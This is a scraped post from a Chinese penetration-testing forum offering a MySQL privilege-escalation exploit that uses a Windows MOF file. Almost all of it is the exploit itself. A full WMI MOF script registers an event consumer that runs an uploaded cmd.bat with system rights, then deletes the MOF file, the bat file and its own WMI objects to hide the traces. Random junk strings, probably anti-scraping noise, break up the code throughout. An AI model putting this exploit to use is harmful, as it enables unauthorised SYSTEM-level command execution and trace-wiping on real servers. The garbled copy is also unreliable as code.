中国网络渗透测试联盟
标题:
Mysql 提权即时无错Mof exp
[打印本页]
作者:
admin
时间:
2013-2-14 00:05
标题:
Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。
7 G& o! w! J- G/ I, e
需要将要运行的命令写入到bat上传到system32目录,然后执行。
/ f, h/ o1 l2 ^
3 V' T# `9 n% e7 v0 B' V
这个sql提权MOF需要运行 system下的文件,不能定义路径。
+ w4 w! Z) c0 S# ^6 [3 w+ c- o! T
需要将要运行的命令写入到bat上传到system32目录,然后执行。
# F2 p* `4 `, ~$ L/ R
/ L- j5 Z( Q; r( N! Q
#pragma
: p$ z; d# d5 |; j6 k" O7 `# Y
namespace("\\\\.\\root\\cimv2")
7 O+ L+ N2 ?; ~" e C/ u
class
( i! W: W5 \" J: V2 H0 m
MyClass547
6 \/ b* T3 ~# v f- v
{ [key]
& ?- `& O# E- l" K1 d
string
% G# i3 U$ ]3 Q9 H! l
Name;
1 u; P0 e2 n# \% P: _
};
: o4 @3 g& v4 m2 @; ~: Q' L# k
class
9 i* ~& ~' |5 O, o: _, z. e, X7 s6 U
ActiveScriptEventConsumer
3 s2 Z( ?- o ~. {/ }. `
: __EventConsumer { [key]
& e5 K. q+ b9 d G% O# O
string
3 r( w. Y, e% A' c% }
Name; [not_null]
+ X: @% H9 O! \0 ?
string
: n3 k% N" G% p4 z4 y% U
ScriptingEngine; string
a5 B, ^5 D: B% n# ?. P
ScriptFileName; [template]
$ A ^( \' p4 o% e! G
string
: i0 E9 x- ?" g3 I
ScriptText; uint32 KillTimeout;
k5 U( y7 ]) I% H7 e
}; instance of __Win32Provider as $P {
# }! a4 m" `, {
Name
% B: ?8 B! N6 f/ G1 m
=
" L! x, S& \) p" b# U/ U$ b
"ActiveScriptEventConsumer"; CLSID =
; l( Q- A, k/ ~
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
: a, q( u3 _0 f0 S: }
PerUserInitialization
8 @3 [. [# m( \
= TRUE;
3 r7 k. ] B2 N3 q7 N+ T# z5 u7 Q
}; instance of __EventConsumerProviderRegistration { Provider
; H6 I( r( o) \1 A
= $P; ConsumerClassNames
! w# ~$ @6 b) \; q1 u( x( L
=
, v- y2 q* ^9 p& S; Z7 [7 @
{"ActiveScriptEventConsumer"};
- V, m3 D; D! r! `4 N9 x
};
. I6 ^2 L" ^& A0 N3 h5 Y
Instance of ActiveScriptEventConsumer
( l/ A, X, I$ }# p/ S
as $cons { Name
2 W% B& C5 A! h0 D/ S9 [/ h, m2 _
=
0 F' d* t G- G. E6 b
"ASEC"; ScriptingEngine
/ h2 \; ^9 w" g3 A) w5 T% [
=
; C2 @" d" m# ^7 p# i
"JScript"; ScriptText
: W+ m2 B& R0 h2 I4 J
=
3 K! t9 O$ t& r" g/ \: L6 B S
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
" j) m" g' m1 `% z- Y" g
Instance of ActiveScriptEventConsumer
( M' `: M5 E c d- M+ \
as $cons2 { Name
. p7 ^' d6 K+ r% g: r; W2 P
=
/ ?' L! K% z' X0 M6 {
"qndASEC"; ScriptingEngine
' y5 Q# U8 l/ {8 L( i
=
/ o' c% [ W* c& u
"JScript"; ScriptText
! t2 N& Z5 O } F. v
=
7 l0 }* b' s9 h& } a' B' Z- L
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
! Q; w/ T/ k# ^' x
}; instance of __EventFilter as $Filt { Name
; k7 o3 |, B }# s7 j% X
=
( u' n3 s$ p, o1 E- |0 U, \
"instfilt"; Query
* k) H$ U+ l1 i2 ^! X: z) Y# b3 f
=
4 [ T/ j* Z+ O4 b
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
! U! K B4 W- |4 f
=
- H, d4 C i, w& c, |" C# V
"WQL"; }; instance of __EventFilter as $Filt2 { Name
0 v9 m5 _ a4 Y( L2 ]. T
=
8 P" A9 P% |! y
"qndfilt"; Query
* w4 Y1 Z; |8 D
=
% D0 C, Z7 k/ c4 H! p- n: Z
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
! X+ t: o: ?, R. o
=
3 J. t6 R9 u" l, B7 ]/ M' \: R
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
0 b) E7 J& x9 s8 s( v/ _3 N# G
= $cons; Filter
8 H. G* k, Y9 y0 H8 G, I u# A
= $Filt;
5 w6 H( u0 r) y1 \ ?
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
/ ~; ~/ D/ m4 ^. P* i& v; w
= $cons2; Filter
' _+ d, c2 s3 G! ~3 B- f' B
= $Filt2;
; F7 N8 A& v c
}; instance of MyClass547
, n9 n4 o3 u2 y4 f8 W6 N# }8 Y. q
as $MyClass { Name
% ^- A) a3 P: r" Z, d3 O- i. l
=
8 U) `' f, v. e
"ClassConsumer";
: q/ n" t6 S; C. T4 g
};
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2